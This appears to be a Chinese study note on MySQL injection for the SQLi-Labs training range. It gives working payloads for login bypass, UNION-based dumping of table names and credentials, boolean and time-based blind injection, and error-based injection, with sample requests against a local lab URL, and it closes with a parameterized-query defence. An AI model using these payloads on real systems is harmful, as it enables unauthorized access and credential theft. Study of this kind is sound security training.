MySQL 库表操作、联合查询、注释符与闭合方式 + SQLi-Labs 靶场手测。
核心知识点
1. 数据库与 SQL 基础
- 数据库:表(Table)→ 列/字段(Column)→ 行/记录(Row)。
- SQL:数据库沟通语言,四大操作 CRUD:
- 查:
SELECT 密码 FROM 用户表 WHERE 用户名='张三'; - 增:
INSERT INTO 用户表 (用户名,密码) VALUES ('王五','888888'); - 改:
UPDATE 用户表 SET 密码='999999' WHERE 用户名='张三'; - 删:
DELETE FROM 用户表 WHERE 用户名='李四';
- 查:
2. SQL 原理
- 本质:输入未过滤直接拼进查询,“数据”被当成”指令”执行(取款单填
100 ,顺便把金库门打开)。 - 漏洞代码(登录功能字符串拼接):
$username = $_POST['username'];
$password = $_POST['password'];
$sql_query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = $conn->query($sql_query);
- 身份绕过 Payload:用户名
admin' --,拼接结果:
SELECT * FROM users WHERE username = 'admin' --' AND password = '...';
-- 后被注释忽略,无需密码即可登录 admin。
3. 类型判断(破坏三步法第一步)
| 类型 | 判断方法 |
|---|---|
| 数字型 | 直接拼接,无需闭合引号 |
| 字符型 | 需寻找闭合符(单引号/双引号/括号组合) |
- 判断技巧:
and 1=1正常、and 1=2无返回 → 数字型;仍正常或报错 → 字符型,测闭合符。 - 字符型闭合:加单引号令语法报错即有引号,再用注释符切掉多余部分;闭合符组合有单引号、双引号、
')、")等。 - 注释符:
--(双减号+空格)、--+(加号编码为空格)、#(URL 写%23)。
4. Union 联合(破坏三步法)
前置三步:判断闭合符 → ORDER BY N 递增到报错定列数 → UNION SELECT 1,2,3,... 定位回显位。
核心语法:ORDER BY N 探测列数;LIMIT offset, count 限制起始与数量;UNION SELECT 前后列数一致;GROUP_CONCAT() 多行合并(可加分隔符)、CONCAT() 拼接。
union 语句:
-- 确定列数为 3,回显位在 2 和 3
UNION SELECT 1,2,3
-- 查数据库名
UNION SELECT 1,database(),3
-- 查版本
UNION SELECT 1,version(),3
-- 查表名(跨库查询 information_schema)
UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema='security'
-- 查列名
UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name='users'
-- 查数据
UNION SELECT 1,GROUP_CONCAT(username,0x7e,password),3 FROM security.users
information_schema:
SELECT table_name FROM information_schema.tables WHERE table_schema='security';
SELECT column_name FROM information_schema.columns WHERE table_name='users';
5. 布尔盲注
- 适用场景:页面无直接回显(只有两态),靠真假”猜”数据。
- 核心函数:
length()、ascii()、substr()。 - 常用语句:
and length(database())=8 -- 判断数据库名长度为 8
and ascii(substr(database(),1,1)) > 100 -- 判断第一个字符 ASCII 码
and ascii(substr(database(),1,1)) = 115 -- 二分逼近,115 对应字符 's'
- 二分查找法:用
><缩小范围猜字符,可写 Python 脚本自动化。 and 1=2无结果即证明闭合符正确(“无结果即成功”)。
6. 时间盲注
- 适用场景:页面无回显差异,只能靠响应延迟判断真假。
- 核心语句:
IF(condition, sleep(5), 1)
and if(length(database())>5, sleep(3), 1) -- 延迟说明长度大于5
and if(length(database())=8, sleep(3), 1) -- 确定长度为8
and if(ascii(substr(database(),1,1))=115, sleep(3), 1)
- IF 函数:
IF(条件, 成立时返回值, 不成立时返回值),参数顺序别反。 - 优点:适用广;缺点:每次要等延迟,效率低。
7. 报错
- 原理:用易报错的
extractvalue()、updatexml()构造非法 XPath 路径(不以斜杠开头)触发报错,结果随错误信息返回。 - 示例:
and extractvalue(1, concat(0x7e, (select database())))
- 机制:XPath 须以
/开头,否则报错;0x7e即波浪线~。 - 注意:
&在 URL 中是参数分隔符,报错里用~连接而不用and。
8. SQL 常用函数汇总
| 函数 | 作用 | 使用场景 |
|---|---|---|
database() | 返回当前数据库名 | 信息收集 |
version() | 返回数据库版本 | 版本探测 |
length() | 返回字符串长度 | 盲注猜长度 |
ascii() | 返回字符 ASCII 码 | 将字符转为数字判断 |
substr(str,pos,len) / substring | 截取字符串 | 逐字符提取 |
concat() / group_concat() | 拼接 / 多行合并 | 合并显示 |
sleep(N) | 延迟 N 秒 | 时间盲注 |
if(cond,v1,v2) | 条件判断 | 盲注条件构造 |
extractvalue(xml,xpath) / updatexml | XML 解析(报错) | 报错 |
9. 防御:参数化查询
- 正确做法:**参数化查询(Prepared Statements)**取代字符串拼接——带占位符
?的模板 + 用户数据当纯参数传递,数据与指令隔离:
query_template = "SELECT * FROM users WHERE username = ? AND password = ?"
execute(query_template, ("admin' --", "随便填的密码"))
即使输入 admin' --,也只会当作用户名匹配,不会当注释执行。
实操步骤(SQLi-Labs 靶场流程)
第一:判断类型(字符型,单引号闭合)→ ORDER BY 探测列数 → UNION 定位回显位 → 拖库
第二:数字型,直接拼接
第三~四:字符型,闭合符分别为 ' 和 ')/")
第五:布尔盲注(length + ascii + 二分法)
第九:时间盲注(IF + sleep)
报错:extractvalue / updatexml
# URL 编码细节
空格用 + 或 %20
注释用 --+(加号经 URL 解码后变空格,而 -- 后面的空格会被吃掉)
& 会被解析为参数分隔符,用 %26 编码或用 ~ 替代
# 构造请求
http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=1 --+
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,3 --+
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,database(),3 --+
改包工具:Burp Suite 或火狐 HackBar 插件。
常见错误与排查
form/from拼写、less大小写、闭合方式不对 → 看报错调整。- Union 前后列数不一致、括号写错导致盲注异常;
&编码成%26,--注释改用--+/%23。 - 语句未生效先用
and 1=1/and 1=2确认类型,别盲目堆 Payload。